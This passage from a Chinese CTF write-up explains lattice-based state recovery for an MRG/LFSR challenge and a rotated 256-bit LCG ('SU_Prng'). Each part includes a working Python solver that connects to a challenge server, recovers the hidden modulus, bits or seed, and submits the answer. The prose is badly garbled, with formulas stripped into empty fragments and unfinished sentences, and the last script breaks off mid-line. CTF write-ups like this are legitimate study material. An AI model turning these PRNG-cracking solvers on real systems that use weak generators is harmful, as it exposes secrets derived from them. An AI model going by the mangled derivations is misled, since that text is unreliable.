即使 q^{24$$ 多一个小因子,通常也能在后续验证时排掉。

3.实际实现

先从挑出来的那一批零化多项式中选前若干个;

两两计算 resultant;

边算边 gcd;

每次更新 gcd 后都尝试做 24 次整数开根;

一旦出现精确整数根,就把它当成 $$$$。

五、在模 $$$$ 上取 gcd 恢复特征多项式

1.特征多项式的定义

对递推

对应的 monic 特征多项式可以写成:

如果把它展开成

那么有:

2.为什么取 gcd 就能得到它

上一步得到的各个零化多项式,本质上都与真实特征多项式共享公共因子。回到有限域 上之后,直接对这些多项式求 gcd:

理想情况下,得到的就是 24 次的 monic 多项式:

于是反馈系数立刻可得:

3.实现细节

  1. 把每个整数多项式的系数模 $q$;
  2. 上不断求 gcd;
  3. 要求最后结果的次数正好是 24;
  4. 再把最高次项标准化成 1(monic);
  5. 按上式恢复

到这里,我们已经知道了:

模数 $$$$;

反馈系数

还差最后一步:把被截断的低 20 位补回来。

六、恢复被截断的低 20 位

问题在于:服务器给的不是完整输出,而是

}5v_{24+i}=By_i+z_i, \qquad 0\le z_i < B, \qquad B=2^{20}.$$

未知的是这些低 20 位小误差。这个约束不是普通的模线性方程组能直接表达好的,因此需要用格来做近似最近向量恢复。

1.用前 48 个输出建模

取前 48 个被 hint 覆盖到的完整输出:

我们只知道它们的高位:

并且有:

其中

2.递推带来的线性关系

由于序列满足 24 阶递推,所以对 都能表示成前 24 项的线性组合。也就是说,对于我们选取的这 48 个量,可以构造出一个矩阵,把后 24 项与前 24 项的关系编码出来。

设这些关系写成:

}5v{24+j} \equiv \sum{i=0}^{23} a{j,i} v{24+i} \pmod q, \qquad j=24,25,\dots,47.$$

那么就可以构造一个 的格基:

其中:

  1. 补回去后的完整输出是否真的满足递推:

只要这两个检查都过,说明低位恢复成功。

七、从hint对应状态回退到最初状态

到这为止,我们恢复的是:

但Get Flag要的是最初的:

所以还需要把状态往回推 24 步。

原递推是:

如果 ,那么它也可以改写成“反向恢复最前面那一项”的形式:

因此,只要我们知道连续 24 个状态,就可以一位一位往回推。

具体做法是:

我们已经拿到了连续的

于是反复应用上式 24 次,就能得到:

最终答案就是:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
#!/usr/bin/env python3
import argparse
import socket
import sys
from itertools import combinations
from math import gcd

from fpylll import IntegerMatrix, LLL
try:
import flint # type: ignore
except Exception:
flint = None

from sympy import Matrix, Poly, GF, ZZ, integer_nthroot, symbols

x = symbols('x')


class MenuConn:
def __init__(self, host: str, port: int, timeout: float = 30.0, connect_timeout: float = 10.0):
self.timeout = timeout
self.s = socket.create_connection((host, port), timeout=connect_timeout)
self.s.settimeout(timeout)
self.buf = b""
self.read_until(b">>> ")

def read_until(self, token: bytes) -> bytes:
while token not in self.buf:
try:
chunk = self.s.recv(4096)
except socket.timeout as e:
raise TimeoutError(f"timed out while waiting for {token!r} (socket timeout={self.timeout}s)") from e
if not chunk:
raise EOFError("remote closed connection")
self.buf += chunk
idx = self.buf.index(token) + len(token)
out = self.buf[:idx]
self.buf = self.buf[idx:]
return out

def sendline(self, x):
if isinstance(x, int):
x = str(x)
if isinstance(x, str):
x = x.encode()
self.s.sendall(x + b"\n")

def get_hint(self) -> int:
self.sendline("2")
out = self.read_until(b">>> ")
for line in out.decode(errors="ignore").splitlines():
if "Here is your hint:" in line:
return int(line.rsplit(":", 1)[1].strip())
raise ValueError(f"could not parse hint from: {out!r}")

def submit(self, ans: int) -> str:
self.sendline("1")
self.read_until(b"Please enter your answer: ")
self.sendline(str(ans))
try:
out = self.read_until(b">>> ")
except Exception:
out = self.buf
try:
while True:
chunk = self.s.recv(4096)
if not chunk:
break
out += chunk
except Exception:
pass
return out.decode(errors="ignore")


# -------- math helpers --------

def trim_poly(a):
a = list(a)
while len(a) > 1 and a[-1] == 0:
a.pop()
return a


def normalize_poly(a):
a = trim_poly(a)
g = 0
for v in a:
g = gcd(g, abs(int(v)))
if g > 1:
a = [v // g for v in a]
if a[-1] < 0:
a = [-v for v in a]
return tuple(a)


def round_div_nearest(a: int, q: int) -> int:
if a >= 0:
return (a + q // 2) // q
return -((-a + q // 2) // q)


def flint_has(name: str) -> bool:
return flint is not None and hasattr(flint, name)


def poly_resultant_abs(p, q):
if flint_has("fmpz_poly"):
return int(abs(flint.fmpz_poly(p).resultant(flint.fmpz_poly(q))))
P = Poly.from_list(list(reversed(p)), gens=x, domain=ZZ)
Q = Poly.from_list(list(reversed(q)), gens=x, domain=ZZ)
return int(abs(P.resultant(Q)))


def poly_gcd_mod_q(polys, q):
if flint_has("nmod_poly"):
g = None
for p in polys:
h = flint.nmod_poly([c % q for c in p], q)
g = h if g is None else g.gcd(h)
if g is None:
raise RuntimeError("empty polynomial list")
coeffs = [int(g[i]) for i in range(g.degree() + 1)]
return coeffs

g = None
for p in polys:
h = Poly.from_list(list(reversed([c % q for c in p])), gens=x, modulus=q)
g = h if g is None else g.gcd(h)
if g is None:
raise RuntimeError("empty polynomial list")
coeffs_high = [int(v) % q for v in g.all_coeffs()]
coeffs_low = list(reversed(coeffs_high))
return coeffs_low


def solve_integer_system(A_rows, rhs):
if flint_has("fmpz_mat"):
A = flint.fmpz_mat(A_rows)
b = flint.fmpz_mat([[v] for v in rhs])
sol = A.solve(b)
return [int(sol[i, 0]) for i in range(len(rhs))]

M = Matrix(A_rows)
b = Matrix(rhs)
sol = M.LUsolve(b)
out = []
for v in sol:
num, den = v.as_numer_denom()
if int(den) != 1:
raise RuntimeError("exact solve produced non-integral coordinates; try installing python-flint")
out.append(int(num))
return out


# -------- step 1: annihilating polynomials --------

def reduce_annihilator_lattice(hints, t=70, r=281):
if len(hints) < t + r - 1:
raise ValueError(f"need at least {t+r-1} hints, got {len(hints)}")
rows = []
for i in range(r):
rows.append(hints[i:i+t] + [0] * i + [1] + [0] * (r - i - 1))
A = IntegerMatrix.from_matrix(rows)
LLL.reduction(A)
red = []
for i in range(r):
row = [int(A[i, j]) for j in range(t + r)]
left = row[:t]
right = row[t:]
ln = sum(v * v for v in left)
red.append((ln, right, row))
red.sort(key=lambda z: z[0])
return red


def select_annihilators(reduced_rows, max_take=24):
norms = [z[0] for z in reduced_rows]
best_i, best_ratio = 0, 0.0
for i in range(min(len(norms) - 1, 120)):
a = max(1, norms[i])
b = norms[i + 1]
ratio = b / a
if ratio > best_ratio:
best_ratio = ratio
best_i = i
take = min(max_take, best_i + 1)
if take < 3:
take = min(max_take, 12)
polys = []
seen = set()
for ln, eta, _ in reduced_rows[:take]:
p = normalize_poly(eta)
if len(p) <= 1:
continue
if p not in seen:
seen.add(p)
polys.append(list(p))
if len(polys) < 3:
raise RuntimeError("too few annihilating polynomial candidates; try more hints or stronger reduction")
return polys, best_i, best_ratio


# -------- step 2: modulus from resultants --------

def recover_modulus(polys, n=24, pair_cap=40):
g = 0
used = 0
for i, j in combinations(range(min(len(polys), 15)), 2):
res = poly_resultant_abs(polys[i], polys[j])
if res == 0:
continue
g = res if g == 0 else gcd(g, res)
used += 1
root, exact = integer_nthroot(g, n)
if exact and root > 1:
return int(root), g, used
if used >= pair_cap:
break
root, exact = integer_nthroot(g, n)
if not exact or root <= 1:
raise RuntimeError("GCD of resultants is not an exact 24th power; collect more pairs / use stronger reduction")
return int(root), g, used


# -------- step 3: characteristic polynomial / coefficients --------

def recover_characteristic(polys, q, n=24):
coeffs = trim_poly(poly_gcd_mod_q(polys, q))
deg = len(coeffs) - 1
if deg != n:
raise RuntimeError(f"unexpected gcd degree: {deg}, wanted {n}")
lead = coeffs[n] % q
inv = pow(lead, -1, q)
coeffs = [(c * inv) % q for c in coeffs]
if coeffs[n] != 1:
raise RuntimeError("failed to make characteristic polynomial monic")
w = [(-coeffs[i]) % q for i in range(n)]
return coeffs, w


# -------- step 4: recover low 20 bits --------

def coeff_vectors_from_recurrence(w, q, d):
n = len(w)
vecs = []
for i in range(n):
e = [0] * n
e[i] = 1
vecs.append(e)
for j in range(n, d):
acc = [0] * n
base = j - n
for k in range(n):
v = vecs[base + k]
wk = w[k]
if wk == 0:
continue
for i in range(n):
acc[i] = (acc[i] + wk * v[i]) % q
vecs.append(acc)
return vecs


def recover_full_outputs(hints, w, q, hidden_bits=20, d=48):
n = len(w)
S = 1 << hidden_bits
y = hints[:d]
qvec = coeff_vectors_from_recurrence(w, q, d)

B = []
for i in range(n):
row = [0] * d
row[i] = q
B.append(row)
for j in range(n, d):
row = [0] * d
for i in range(n):
row[i] = qvec[j][i]
row[j] = -1
B.append(row)

M = IntegerMatrix.from_matrix(B)
LLL.reduction(M)
Bred = [[int(M[i, j]) for j in range(d)] for i in range(d)]

approx = [int(v) * S for v in y]
b = [sum(Bred[i][j] * approx[j] for j in range(d)) for i in range(d)]
c = [round_div_nearest(bi, q) * q - bi for bi in b]

z = solve_integer_system(Bred, c)
full = [approx[i] + z[i] for i in range(d)]

for zi in z:
if not (0 <= zi < S):
raise RuntimeError("recovered low bits out of range; try stronger reduction or more outputs")
for j in range(n, d):
lhs = full[j] % q
rhs2 = 0
base = j - n
for k in range(n):
rhs2 = (rhs2 + w[k] * full[base + k]) % q
if lhs != rhs2:
raise RuntimeError("recovered full outputs do not satisfy the recurrence")
return full, z


# -------- step 5: roll back 24 steps --------

def recover_initial_state_from_offset(full_first_24, w, q):
n = len(w)
cur = list(full_first_24[:n])
inv_w0 = pow(w[0], -1, q)
for _ in range(n):
tail = cur[-1]
s = 0
for j in range(1, n):
s = (s + w[j] * cur[j - 1]) % q
prev0 = (tail - s) % q
prev0 = (prev0 * inv_w0) % q
cur = [prev0] + cur[:-1]
return cur


# -------- orchestrator --------

def solve_remote(host, port, hints_n=350, t=70, r=281, submit=True, timeout=30.0, connect_timeout=10.0):
io = MenuConn(host, port, timeout=timeout, connect_timeout=connect_timeout)
hints = []
for i in range(hints_n):
h = io.get_hint()
hints.append(h)
if (i + 1) % 50 == 0:
print(f"[+] got {i+1}/{hints_n} hints", file=sys.stderr)

print("[+] reducing annihilator lattice", file=sys.stderr)
red = reduce_annihilator_lattice(hints, t=t, r=r)
polys, gap_idx, gap_ratio = select_annihilators(red)
print(f"[+] selected {len(polys)} annihilator candidates (best gap idx={gap_idx}, ratio={gap_ratio:.2f})", file=sys.stderr)

print("[+] recovering modulus via resultants", file=sys.stderr)
if not flint_has("fmpz_poly"):
print("[*] python-flint integer polynomial API not found; falling back to sympy for resultants", file=sys.stderr)
q, qpow, used = recover_modulus(polys, n=24)
print(f"[+] q = {q}", file=sys.stderr)
print(f"[+] used {used} non-zero resultants", file=sys.stderr)

print("[+] recovering characteristic polynomial", file=sys.stderr)
if not flint_has("nmod_poly"):
print("[*] python-flint modular polynomial API not found; falling back to sympy gf gcd", file=sys.stderr)
f, w = recover_characteristic(polys, q, n=24)
print(f"[+] characteristic polynomial degree = {len(f) - 1}", file=sys.stderr)

print("[+] recovering low 20 bits of first 48 hinted states", file=sys.stderr)
if not flint_has("fmpz_mat"):
print("[*] python-flint matrix solver not found; falling back to sympy exact linear solve", file=sys.stderr)
full, z = recover_full_outputs(hints, w, q, hidden_bits=20, d=48)

print("[+] rewinding 24 steps to the original state", file=sys.stderr)
init_state = recover_initial_state_from_offset(full[:24], w, q)
answer = sum(init_state) % q
print(f"[+] answer = {answer}", file=sys.stderr)

result = None
if submit:
result = io.submit(answer)
return {
"hints": hints,
"polys": polys,
"q": q,
"w": w,
"full": full,
"init_state": init_state,
"answer": answer,
"result": result,
}


def main():
ap = argparse.ArgumentParser(description="Solver for the uploaded MRG/LFSR challenge")
ap.add_argument("--host", default="1.95.152.117")
ap.add_argument("--port", type=int, default=10001)
ap.add_argument("--hints", type=int, default=350)
ap.add_argument("--t", type=int, default=70)
ap.add_argument("--r", type=int, default=281)
ap.add_argument("--timeout", type=float, default=30.0, help="socket read timeout in seconds")
ap.add_argument("--connect-timeout", type=float, default=10.0, help="TCP connect timeout in seconds")
ap.add_argument("--no-submit", action="store_true")
args = ap.parse_args()

try:
out = solve_remote(
args.host,
args.port,
hints_n=args.hints,
t=args.t,
r=args.r,
submit=not args.no_submit,
timeout=args.timeout,
connect_timeout=args.connect_timeout,
)
except Exception as e:
print(f"[!] solve failed: {e}", file=sys.stderr)
sys.exit(1)
print("===== result =====")
print("q =", out["q"])
print("answer =", out["answer"])
if out["result"] is not None:
print(out["result"])


if __name__ == "__main__":
main()

用到了pwntools和fpylll等库,Windows安装比较麻烦,所以我选择在ubuntu里运行

这个靶机是复现的时候用的,和比赛的时候好像不太一样

img

SU_Prng

题目核心代码大概是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import signal
from hashlib import md5
from random import getrandbits

class prng:
def __init__(self, seed):
self.seed = seed
self.a = getrandbits(256)
self.b = getrandbits(256)

def QPRNG(self):
self.seed = (self.a * self.seed + self.b) % 2**256
tmp = ror(((self.seed >> 128) ^ (self.seed & (2**128-1))), self.seed >> 6)
return tmp

signal.alarm(15)

seed = getrandbits(256)
rng = prng(seed)

print(f'a = {rng.a}')
print(f'out = {[rng.QPRNG() for _ in range(56)]}')
print(f'h = {md5(str(seed).encode()).hexdigest()}')

guess = int(input('> '))
if guess == seed:
print(flag)

交互里会给我们三样东西:

1
a`,连续的 `56` 个输出 `out`,`md5(str(seed))

目标就是恢复出初始 seed,然后发回去拿 flag。

这个 PRNG 本质上是一个模 的 LCG:

其中:

更准确一点,设:

高 128 位为

低 128 位为

那么输出就是:

其中旋转量

也就是说,旋转量来自状态的第 6 到第 13 位。

这题最烦的点就在这:不是直接看到 ,而是先被按一个依赖状态本身的量旋转了一下

第一步:先把低 14 位抠出来

这一题最关键的突破口就是:旋转量只依赖状态低 14 位中的一部分。

因为:

这说明:

其中 是最低 6 位。

为什么可以枚举旋转量呢?

输出定义是:

其中:

注意到 都是 128 位,所以:

也就是说,真正被旋转前的那个数,最高 128 位一定全是 0

于是我们可以对输出 枚举 ,做一次反旋转:

如果这个 ,那这个 $$$$ 就是一个合法候选旋转量。

所以每个输出都能导出一批可能的低 14 位状态值。

第二步:利用 LCG 低位递推,筛出真正的低 14 位

因为原始递推是:

那它模 以后也仍然成立:

其中:

做法就很直接:

  1. 对第一个输出枚举所有可能的
  2. 对第二个输出枚举所有可能的
  3. 由这两个值推出:
  1. 再往后递推检查这组 是否能解释所有输出对应的低 14 位候选

这样很快就能把低 14 位候选缩到很少,通常只剩十几个,甚至更少。

第三步:把输出转回去

一旦某条分支的低 14 位确定了,那么每个状态的旋转量 也就确定了,因为:

这时就可以对每个输出做反旋转,得到:

而这个 正好满足:

又因为:

所以只要知道低 128 位 的低 u_$$ 的低 $$$$ 位:

于是状态的低 位就能写成:

这一步非常关键:输出虽然只给了 ,但一旦低位状态前缀已知,就能把高位前缀也捞出来

第四步:格约化找线性关系,逐步抬高位数

这题如果暴力从 14 位一路枚举到 128 位,显然不现实。真正的做法是借助 LCG 的线性关系 + 格约化,做一个“逐步扩展前缀”的过程。

目标:我们想恢复 ,也就是状态的低 128 位。LCG 递推给出:

如果只看某个模数 下的近似状态前缀,就能构造一组很强的线性约束

构造近似状态:假设当前已经知道 的低 $$$$ 位,即:

,可以得到一个状态前缀近似值:

它和真实状态 在模 下是一致的,也就是:

之后可以利用 LCG 的线性关系:

因为

可以找到一组小系数 ,使得:

}5\sum_{j=0}^{m-1} w_j a^{j+1} \equiv 0 \pmod{2^{128+t}}$$

于是会推出一类线性组合在模 下非常小。

直观上讲,这些 可以通过格约化从下面这种格里找出来:

做格约化后,寻找最后一列为 0 的短向量,它前面的坐标就是我们想要的权重

用这些权重筛前缀:对于一组候选前缀,可以构造:

如果这组前缀是真的,那么 会非常小;如果是错的,通常会直接炸掉。

于是我们就可以每次往上扩几位,比如每次扩 6 位:

从 14 位扩到 20 位,再扩到 26 位,再扩到 32 位…一直到 128 位

每一层只保留能通过格关系检验的候选前缀

第五步:恢复完整状态和增量 $$$$

当低 128 位 已经完全恢复后,第一轮状态 就能直接写出来:

类似地,第二轮状态 也能恢复。这时就能直接算出增量 $b$:

然后把整个序列回放一遍,检查是否所有输出都一致:

以及

如果 56 个输出全部匹配,那这组 就是真的。

第六步:从 反推出初始 seed

题目里真正要我们提交的是初始seed = s0,而不是第一轮更新后的状态 。由定义:

所以我们要求解:

如果 ,那么这不是普通的唯一逆元问题,而是一个模线性方程。可以化成:

先求出一个基解:

于是所有解形如:

题目还给了:

所以把所有候选 seed 枚举一遍,匹配 md5 就能唯一确定真正的 seed

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
#!/usr/bin/env python3
import ast
import hashlib
import math
import os
import re
import socket
import sys
import time
from concurrent.futures import ProcessPoolExecutor
from dataclasses import dataclass
from typing import Dict, List, Optional, Sequence, Tuple

from fpylll import BKZ, IntegerMatrix, LLL

BITS = 256
HALF = 128
MASK = (1 << BITS) - 1
MASK128 = (1 << HALF) - 1
DEFAULT_STEP = 6
DEFAULT_CONNECT_TIMEOUT = 8.0
DEFAULT_BANNER_TIMEOUT = 16.0
DEFAULT_REPLY_TIMEOUT = 8.0
DEFAULT_RETRIES = 6

BANNER_RE_A = re.compile(rb"a\s*=\s*(\d+)", re.I)
BANNER_RE_OUT = re.compile(rb"out\s*=\s*(\[[\s\S]*?\])", re.I)
BANNER_RE_H = re.compile(rb"h\s*=\s*([0-9a-f]{32})", re.I)
ANSI_RE = re.compile(rb"\x1b\[[0-9;?]*[ -/]*[@-~]")


@dataclass(frozen=True)
class Prefix:
x1_low: int
c_low: int


def eprint(*args, **kwargs) -> None:
print(*args, file=sys.stderr, **kwargs)


def ror(x: int, k: int, n: int = BITS) -> int:
k %= n
return ((x >> k) | (x << (n - k))) & ((1 << n) - 1)


def rol(x: int, k: int, n: int = BITS) -> int:
k %= n
return ((x << k) | (x >> (n - k))) & ((1 << n) - 1)


def output_from_state(state: int) -> int:
return ror((state >> HALF) ^ (state & MASK128), state >> 6, BITS)


def candidate_rotations(out: int) -> List[Tuple[int, int]]:
return [(r, rol(out, r)) for r in range(256) if rol(out, r) < (1 << HALF)]


def clean_banner_bytes(data: bytes) -> bytes:
data = data.replace(b"\r", b"")
data = ANSI_RE.sub(b"", data)
return data


def parse_banner_bytes(data: bytes) -> Tuple[int, List[int], str]:
data = clean_banner_bytes(data)
ma = BANNER_RE_A.search(data)
mo = BANNER_RE_OUT.search(data)
mh = BANNER_RE_H.search(data)
if not (ma and mo and mh):
preview = data.decode(errors="ignore")
raise ValueError(f"failed to parse service banner; raw preview:\n{preview[:2000]}")
a = int(ma.group(1))
outs = ast.literal_eval(mo.group(1).decode())
h = mh.group(1).decode()
return a, outs, h


def parse_banner(text: str) -> Tuple[int, List[int], str]:
return parse_banner_bytes(text.encode())


def recover_low14(a: int, outs: Sequence[int]) -> List[Tuple[int, int, List[int]]]:
mod = 1 << 14
a14 = a & (mod - 1)
possible_states: List[set[int]] = []
for out in outs:
vals: set[int] = set()
for r, _ in candidate_rotations(out):
base = r << 6
for low6 in range(64):
vals.add(base | low6)
possible_states.append(vals)

sols: List[Tuple[int, int, List[int]]] = []
for x1 in possible_states[0]:
for x2 in possible_states[1]:
b14 = (x2 - a14 * x1) & (mod - 1)
cur = x1
seq = [x1]
ok = True
for _ in range(1, len(outs)):
cur = (a14 * cur + b14) & (mod - 1)
if cur not in possible_states[len(seq)]:
ok = False
break
seq.append(cur)
if ok:
sols.append((x1, b14, seq))

dedup: Dict[Tuple[int, int], Tuple[int, int, List[int]]] = {}
for sol in sols:
dedup[(sol[0], sol[1])] = sol
return list(dedup.values())


def find_weights(a: int, k: int, m: int = 50) -> List[int]:
modulus = 1 << (HALF + k)
scale = 1 << 50
B = IntegerMatrix(m + 1, m + 1)
for i in range(m):
B[i, i] = 1
B[i, m] = scale * pow(a, i + 1, modulus)
B[m, m] = scale * modulus
LLL.reduction(B)
BKZ.reduction(B, BKZ.Param(block_size=min(30, m + 1)))
best = None
for i in range(m + 1):
row = [int(B[i, j]) for j in range(m + 1)]
if row[-1] == 0:
w = row[:-1]
if best is None or max(abs(x) for x in w) < max(abs(x) for x in best):
best = w
if best is None:
raise RuntimeError(f"failed to find modular relation for k={k}")
return best


def _find_weights_worker(args: Tuple[int, int]) -> Tuple[int, List[int]]:
a, k = args
return k, find_weights(a, k)


def passes_window_tests(
a: int,
zlist: Sequence[int],
prefix: Prefix,
t: int,
weights: Sequence[int],
) -> bool:
mod = 1 << t
xs = [prefix.x1_low]
for _ in range(1, len(zlist)):
xs.append((a * xs[-1] + prefix.c_low) & (mod - 1))

mask_t = mod - 1
xstars = [(((x ^ (z & mask_t)) & mask_t) << HALF) for x, z in zip(xs, zlist)]
M = 1 << (HALF + t)
bound = 2 * sum(abs(w) for w in weights) * (1 << HALF)
m = len(weights)

for s in range(0, len(zlist) - m):
acc = 0
for j, w in enumerate(weights):
acc += w * (xstars[s + j + 1] - xstars[s + j])
acc %= M
if min(acc, M - acc) >= bound:
return False
return True


def extend_prefixes(
a: int,
zlist: Sequence[int],
prefixes: Sequence[Prefix],
current_bits: int,
step: int,
weights: Sequence[int],
) -> List[Prefix]:
shift = current_bits
out: List[Prefix] = []
for pref in prefixes:
base_x = pref.x1_low
base_c = pref.c_low
for gx in range(1 << step):
x = base_x | (gx << shift)
for gc in range(1 << step):
cand = Prefix(x, base_c | (gc << shift))
if passes_window_tests(a, zlist, cand, current_bits + step, weights):
out.append(cand)
return list(dict.fromkeys(out))


def exact_state_and_increment(
a: int,
outs: Sequence[int],
zlist: Sequence[int],
prefixes: Sequence[Prefix],
) -> List[Tuple[int, int]]:
exact: List[Tuple[int, int]] = []
for pref in prefixes:
x1 = pref.x1_low
s1 = x1 | ((x1 ^ zlist[0]) << HALF)
x2 = (a * x1 + pref.c_low) & MASK128
s2 = x2 | ((x2 ^ zlist[1]) << HALF)
b = (s2 - a * s1) & MASK
cur = s1
ok = True
for want in outs:
if output_from_state(cur) != want:
ok = False
break
cur = (a * cur + b) & MASK
if ok:
exact.append((s1, b))
return list(dict.fromkeys(exact))


def solve_seed_from_s1(a: int, b: int, s1: int, md5_hex: str) -> Optional[int]:
rhs = (s1 - b) & MASK
g = math.gcd(a, 1 << BITS)
if rhs % g != 0:
return None
a1 = a // g
rhs1 = rhs // g
mod1 = (1 << BITS) // g
base = (rhs1 * pow(a1, -1, mod1)) % mod1
if g > (1 << 20):
raise RuntimeError(f"too many preimages to brute-force: {g}")
for k in range(g):
seed = base + k * mod1
if hashlib.md5(str(seed).encode()).hexdigest() == md5_hex:
return seed
return None


def recover_from_banner(
a: int,
outs: Sequence[int],
md5_hex: str,
step: int = DEFAULT_STEP,
workers: Optional[int] = None,
) -> Tuple[int, int, int]:
t0 = time.time()
low14 = recover_low14(a, outs)
if not low14:
raise RuntimeError("failed at low14 recovery")
eprint(f"[+] low14 candidates: {len(low14)} ({time.time() - t0:.2f}s)")

stages = list(range(14 + step, 129, step))
if stages[-1] != 128:
stages.append(128)

weight_cache: Dict[int, List[int]] = {}
future_map = {}
max_workers = workers or max(1, min(os.cpu_count() or 1, len(stages)))

with ProcessPoolExecutor(max_workers=max_workers) as ex:
for nxt in stages:
future_map[nxt] = ex.submit(_find_weights_worker, (a, nxt))

for idx, (x14, c14, seq14) in enumerate(low14, 1):
rlist = [x >> 6 for x in seq14]
zlist = [rol(o, r) for o, r in zip(outs, rlist)]
prefixes = [Prefix(x14, c14)]
known = 14
while known < 128 and prefixes:
nxt = min(known + step, 128)
grow = nxt - known
if nxt not in weight_cache:
_, weight_cache[nxt] = future_map[nxt].result()
eprint(f"[+] weights for {nxt} bits ready")
prefixes = extend_prefixes(a, zlist, prefixes, known, grow, weight_cache[nxt])
known = nxt
if prefixes:
eprint(f"[+] branch {idx}/{len(low14)} survived to 128 bits with {len(prefixes)} prefix(es)")
for s1, b in exact_state_and_increment(a, outs, zlist, prefixes):
seed = solve_seed_from_s1(a, b, s1, md5_hex)
if seed is not None:
eprint(f"[+] total solve time: {time.time() - t0:.2f}s")
return seed, s1, b

raise RuntimeError("no exact candidate survived")


def banner_complete(data: bytes) -> bool:
data = clean_banner_bytes(data)
return bool(BANNER_RE_A.search(data) and BANNER_RE_OUT.search(data) and BANNER_RE_H.search(data))


def recv_banner(sock: socket.socket, total_timeout: float = DEFAULT_BANNER_TIMEOUT, quiet_time: float = 0.35) -> bytes:
data = b""
deadline = time.time() + total_timeout
last_data_time = time.time()

while time.time() < deadline:
sock.settimeout(0.8)
try:
chunk = sock.recv(65536)
except socket.timeout:
if banner_complete(data) and time.time() - last_data_time >= quiet_time:
return data
continue

if not chunk:
return data

data += chunk
last_data_time = time.time()

if banner_complete(data):
while time.time() < deadline:
try:
sock.settimeout(quiet_time)
more = sock.recv(65536)
if not more:
break
data += more
last_data_time = time.time()
except socket.timeout:
break
return data

return data


def recv_reply(sock: socket.socket, total_timeout: float = DEFAULT_REPLY_TIMEOUT) -> bytes:
data = b""
deadline = time.time() + total_timeout
while time.time() < deadline:
remaining = deadline - time.time()
if remaining <= 0:
break
sock.settimeout(min(1.0, remaining))
try:
chunk = sock.recv(65536)
except socket.timeout:
continue
if not chunk:
break
data += chunk
return data


def solve_remote_same_connection(
host: str,
port: int,
connect_timeout: float = DEFAULT_CONNECT_TIMEOUT,
banner_timeout: float = DEFAULT_BANNER_TIMEOUT,
workers: Optional[int] = None,
retries: int = DEFAULT_RETRIES,
reply_timeout: float = DEFAULT_REPLY_TIMEOUT,
) -> None:
last_err = None
for attempt in range(1, retries + 1):
try:
with socket.create_connection((host, port), timeout=connect_timeout) as sock:
banner = recv_banner(sock, total_timeout=banner_timeout)
a, outs, h = parse_banner_bytes(banner)
seed, s1, b = recover_from_banner(a, outs, h, workers=workers)
eprint(f"[+] seed = {seed}")
eprint(f"[+] s1 = {s1}")
eprint(f"[+] incr = {b}")
sock.settimeout(2.0)
sock.sendall(f"{seed}\n".encode())
reply = recv_reply(sock, total_timeout=reply_timeout)
sys.stdout.write(reply.decode(errors="ignore"))
sys.stdout.flush()
return
except Exception as exc:
last_err = exc
eprint(f"[!] attempt {attempt}/{retries} failed: {type(exc).__name__}: {exc}")
time.sleep(0.5)
raise RuntimeError(f"all attempts failed, last error: {last_err}")


def parse_only() -> None:
data = sys.stdin.buffer.read()
a, outs, h = parse_banner_bytes(data)
seed, s1, b = recover_from_banner(a, outs, h)
print(seed)
print(s1)
print(b)


if __name__ == "__main__":
if len(sys.argv) == 2 and sys.argv[1] == "parse":
parse_only()
elif len(sys.argv) == 3:
solve_remote_same_connection(sys.argv[1], int(sys.argv[2]))
elif len(sys.argv) == 4:
solve_remote_same_connection(sys.argv[1], int(sys.argv[2]), workers=int(sys.argv[3]))
else:
